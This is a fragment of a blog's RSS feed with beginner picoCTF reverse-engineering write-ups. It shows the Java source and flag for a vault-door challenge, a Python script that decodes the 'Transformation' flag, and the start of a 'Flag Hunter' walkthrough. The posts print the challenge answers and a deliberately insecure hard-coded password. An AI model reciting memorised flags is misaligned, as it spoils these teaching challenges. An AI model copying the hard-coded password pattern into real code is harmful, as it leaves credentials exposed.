&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;    public&lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt; static&lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt; void&lt;/span&gt;&lt;span style=&quot;color:#D2A8FF&quot;&gt; main&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;(String &lt;/span&gt;&lt;span style=&quot;color:#FFA657&quot;&gt;args&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;[]) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;        VaultDoorTraining&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt; vaultDoor&lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt; new&lt;/span&gt;&lt;span style=&quot;color:#D2A8FF&quot;&gt; VaultDoorTraining&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;();&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;        Scanner&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt; scanner&lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt; new&lt;/span&gt;&lt;span style=&quot;color:#D2A8FF&quot;&gt; Scanner&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;(System.in); &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;        System.out.&lt;/span&gt;&lt;span style=&quot;color:#D2A8FF&quot;&gt;print&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt;&quot;Enter vault password: &quot;&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;        String&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt; userInput&lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt; scanner.&lt;/span&gt;&lt;span style=&quot;color:#D2A8FF&quot;&gt;next&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;();&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;	String&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt; input&lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt; userInput.&lt;/span&gt;&lt;span style=&quot;color:#D2A8FF&quot;&gt;substring&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt;&quot;picoCTF{&quot;&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#D2A8FF&quot;&gt;length&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;(),userInput.&lt;/span&gt;&lt;span style=&quot;color:#D2A8FF&quot;&gt;length&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;()&lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color:#79C0FF&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;	if&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt; (vaultDoor.&lt;/span&gt;&lt;span style=&quot;color:#D2A8FF&quot;&gt;checkPassword&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;(input)) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;	    System.out.&lt;/span&gt;&lt;span style=&quot;color:#D2A8FF&quot;&gt;println&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt;&quot;Access granted.&quot;&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;	} &lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;else&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;	    System.out.&lt;/span&gt;&lt;span style=&quot;color:#D2A8FF&quot;&gt;println&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt;&quot;Access denied!&quot;&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;	}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;   }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B949E&quot;&gt;    // The password is below. Is it safe to put the password in the source code?&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B949E&quot;&gt;    // What if somebody stole our source code? Then they would know what our&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B949E&quot;&gt;    // password is. Hmm... I will think of some ways to improve the security&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B949E&quot;&gt;    // on the other doors.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B949E&quot;&gt;    //&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B949E&quot;&gt;    // -Minion #9567&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;    public&lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt; boolean&lt;/span&gt;&lt;span style=&quot;color:#D2A8FF&quot;&gt; checkPassword&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;(String &lt;/span&gt;&lt;span style=&quot;color:#FFA657&quot;&gt;password&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;        return&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt; password.&lt;/span&gt;&lt;span style=&quot;color:#D2A8FF&quot;&gt;equals&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt;&quot;w4rm1ng_Up_w1tH_jAv4_3808d338b46&quot;&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;    }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h2 id=&quot;solution&quot;&gt;&lt;a aria-hidden=&quot;true&quot; tabindex=&quot;-1&quot; href=&quot;#solution&quot;&gt;&lt;span class=&quot;icon icon-link&quot;&gt;&lt;/span&gt;&lt;/a&gt;Solution&lt;/h2&gt;
&lt;p&gt;Well, that last line is suspicious, even telling you that’s the password. Let’s try it.&lt;/p&gt;
&lt;pre class=&quot;astro-code github-dark-default&quot; style=&quot;background-color:#0d1117;color:#e6edf3; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;text&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;picoCTF{w4rm1ng_Up_w1tH_jAv4_3808d338b46}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Got it… Though this problem is Easy… but also too easy…&lt;/p&gt;</content:encoded></item><item><title>picoCTF Transformation</title><link>https://www.windson.cc/en/posts/reverse-2/</link><guid isPermaLink="true">https://www.windson.cc/en/posts/reverse-2/</guid><description> A Reverse a day keeps the zero-days away Problem Problem link First gives a file, looks like this: 灩捯䍔䙻ㄶ形楴獟楮獴㌴摟潦弸彥㜰㍢㐸㙽 .join([chr((ord(flag[i]) &amp;#x3C;&amp;#x3C; 8) + ord(flag[i + 1])) for i in range(0, l</description><pubDate>Wed, 29 Oct 2025 00:00:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;&lt;strong&gt;A Reverse a day keeps the zero-days away&lt;/strong&gt;&lt;/em&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;!--more--&gt;
&lt;h2 id=&quot;problem&quot;&gt;&lt;a aria-hidden=&quot;true&quot; tabindex=&quot;-1&quot; href=&quot;#problem&quot;&gt;&lt;span class=&quot;icon icon-link&quot;&gt;&lt;/span&gt;&lt;/a&gt;Problem&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://play.picoctf.org/practice/challenge/104?category=3&amp;#x26;page=1&quot;&gt;Problem link&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;First gives a file, looks like this:&lt;/p&gt;
&lt;pre class=&quot;astro-code github-dark-default&quot; style=&quot;background-color:#0d1117;color:#e6edf3; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;text&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;灩捯䍔䙻ㄶ形楴獟楮獴㌴摟潦弸彥㜰㍢㐸㙽&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;.join([chr((ord(flag[i]) &amp;#x3C;&amp;#x3C; 8) + ord(flag[i + 1])) for i in range(0, len(flag), 2)])&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Obviously encoded wrong, that’s why appears gibberish. Just decode back, and it’s fine. Below is encoding program attached to problem description. It first splits entire flag into pairs, converts both to ASCII, multiplies first by 256 then adds second. Finally &lt;code&gt;chr()&lt;/code&gt; becomes what we see.&lt;/p&gt;
&lt;h2 id=&quot;solution&quot;&gt;&lt;a aria-hidden=&quot;true&quot; tabindex=&quot;-1&quot; href=&quot;#solution&quot;&gt;&lt;span class=&quot;icon icon-link&quot;&gt;&lt;/span&gt;&lt;/a&gt;Solution&lt;/h2&gt;
&lt;p&gt;Just write a program to reverse — problem uses python, so use python:&lt;/p&gt;
&lt;pre class=&quot;astro-code github-dark-default&quot; style=&quot;background-color:#0d1117;color:#e6edf3; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;python&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;q &lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt; &quot;灩捯䍔䙻ㄶ形楴獟楮獴㌴摟潦弸彥㜰㍢㐸㙽&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#79C0FF&quot;&gt;sum&lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt; []&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B949E&quot;&gt;# Convert encoding back to ASCII&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;for&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt; i &lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;in&lt;/span&gt;&lt;span style=&quot;color:#79C0FF&quot;&gt; range&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#79C0FF&quot;&gt;len&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;(q)):&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#79C0FF&quot;&gt;    sum&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;.append(&lt;/span&gt;&lt;span style=&quot;color:#79C0FF&quot;&gt;ord&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;(q[i]))&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B949E&quot;&gt;# Brute force (since ASCII max is 126)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;for&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt; i &lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;in&lt;/span&gt;&lt;span style=&quot;color:#79C0FF&quot;&gt; range&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#79C0FF&quot;&gt;len&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#79C0FF&quot;&gt;sum&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;)):&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;    for&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt; j &lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;in&lt;/span&gt;&lt;span style=&quot;color:#79C0FF&quot;&gt; range&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#79C0FF&quot;&gt;126&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;):&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;        if&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color:#79C0FF&quot;&gt;sum&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;[i] &lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt; (j &lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;&amp;#x3C;&amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color:#79C0FF&quot;&gt; 8&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;)) &lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;&amp;#x3C;=&lt;/span&gt;&lt;span style=&quot;color:#79C0FF&quot;&gt; 126&lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt; and&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color:#79C0FF&quot;&gt;sum&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;[i] &lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt; (j &lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;&amp;#x3C;&amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color:#79C0FF&quot;&gt; 8&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;)) &lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#79C0FF&quot;&gt; 0&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#79C0FF&quot;&gt;            print&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#79C0FF&quot;&gt;chr&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;(j) &lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color:#79C0FF&quot;&gt; chr&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#79C0FF&quot;&gt;sum&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;[i] &lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt; (j &lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;&amp;#x3C;&amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color:#79C0FF&quot;&gt; 8&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;)) ,&lt;/span&gt;&lt;span style=&quot;color:#FFA657&quot;&gt;end&lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt; &quot;&quot;&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;After solving, get flag: &lt;code&gt;picoCTF{16_bits_inst34d_of_8_e703b486}&lt;/code&gt;&lt;/p&gt;</content:encoded></item><item><title>picoCTF Flag Hunter</title><link>https://www.windson.cc/en/posts/reverse-1/</link><guid isPermaLink="true">https://www.windson.cc/en/posts/reverse-1/</guid><description> A Reverse a day keeps the zero-days away Intro Since Gold Shield Award keeps asking reverse, plus recently took assembly. So starting a one-reverse-per-day movement. A Reverse a day keeps the zero-da</description><pubDate>Tue, 28 Oct 2025 00:00:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;&lt;strong&gt;A Reverse a day keeps the zero-days away&lt;/strong&gt;&lt;/em&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;!--more--&gt;
&lt;h2 id=&quot;intro&quot;&gt;&lt;a aria-hidden=&quot;true&quot; tabindex=&quot;-1&quot; href=&quot;#intro&quot;&gt;&lt;span class=&quot;icon icon-link&quot;&gt;&lt;/span&gt;&lt;/a&gt;Intro&lt;/h2&gt;
&lt;p&gt;Since Gold Shield Award keeps asking reverse, plus recently took assembly. So starting a one-reverse-per-day movement. &lt;em&gt;&lt;strong&gt;A Reverse a day keeps the zero-days away.&lt;/strong&gt;&lt;/em&gt; Current target is finish pico first, then see what’s next after finishing.&lt;/p&gt;
&lt;h2 id=&quot;problem&quot;&gt;&lt;a aria-hidden=&quot;true&quot; tabindex=&quot;-1&quot; href=&quot;#problem&quot;&gt;&lt;span class=&quot;icon icon-link&quot;&gt;&lt;/span&gt;&lt;/a&gt;Problem&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://play.picoctf.org/practice/challenge/472?category=3&amp;#x26;page=1&quot;&gt;Problem link&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;This problem gives a python file at the start:&lt;/p&gt;
&lt;pre class=&quot;astro-code github-dark-default&quot; style=&quot;background-color:#0d1117;color:#e6edf3; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;python&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt; re&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt; time&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B949E&quot;&gt;# Read in flag from file&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;flag &lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#79C0FF&quot;&gt; open&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt;&apos;flag.txt&apos;&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt;&apos;r&apos;&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;).read()&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;secret_intro &lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt; \&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt;&apos;&apos;&apos;Pico warriors rising, puzzles laid bare,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt;Solving each challenge with precision and flair.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt;With unity and skill, flags we deliver,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt;The ether&apos;s ours to conquer, &apos;&apos;&apos;&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;\&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt; flag &lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt; &apos;&lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;\n&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt;&apos;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;From here can know it puts flag in &lt;code&gt;secret_intro&lt;/code&gt;. This time’s target is to print it, to get the flag.&lt;/p&gt;
&lt;pre class=&quot;astro-code github-dark-default&quot; style=&quot;background-color:#0d1117;color:#e6edf3; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;python&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;reader(song_flag_hunters, &lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt;&apos;[VERSE1]&apos;&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;But, from this last line can see, it’s reading from &lt;code&gt;&apos;[VERSE1]&apos;&lt;/code&gt;. So it won’t print flag at all.&lt;/p&gt;
&lt;p&gt;After reading, let’s connect &lt;del&gt;it will sing to you&lt;/del&gt; — actually just prints lyrics.&lt;/p&gt;
&lt;pre class=&quot;astro-code github-dark-default&quot; style=&quot;background-color:#0d1117;color:#e6edf3; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;text&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;[REFRAIN]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;We&apos;re flag hunters in the ether, lighting up the grid,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;No puzzle too dark, no challenge too hid.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;With every exploit we trigger, every byte we decrypt,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;We&apos;re chasing that victory, and we&apos;ll never quit.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;CROWD (Singalong here!);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;RETURN&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;[VERSE1]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;Command line wizards, we&apos;re starting it right,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;Spawning shells in the terminal, hacking all night.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;Scripts and searches, grep through the void,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;Every keystroke, we&apos;re a cypher&apos;s envoy.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;Brute force the lock or craft that regex,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;Flag on the horizon, what challenge is next?&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;REFRAIN;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;Echoes in memory, packets in trace,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;Digging through the remnants to uncover with haste.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;Hex and headers, carving out clues,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;Resurrect the hidden, it&apos;s forensics we choose.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;Disk dumps and packet dumps, follow the trail,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;Buried deep in the noise, but we will prevail.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;REFRAIN;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;Binary sorcerers, let&apos;s tear it apart,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;Disassemble the code to reveal the dark heart.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;From opcode to logic, tracing each line,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;Emulate and break it, this key will be mine.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;Debugging the maze, and I see through the deceit,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;Patch it up right, and watch the lock release.&lt;/span&gt;&lt;/span&gt;
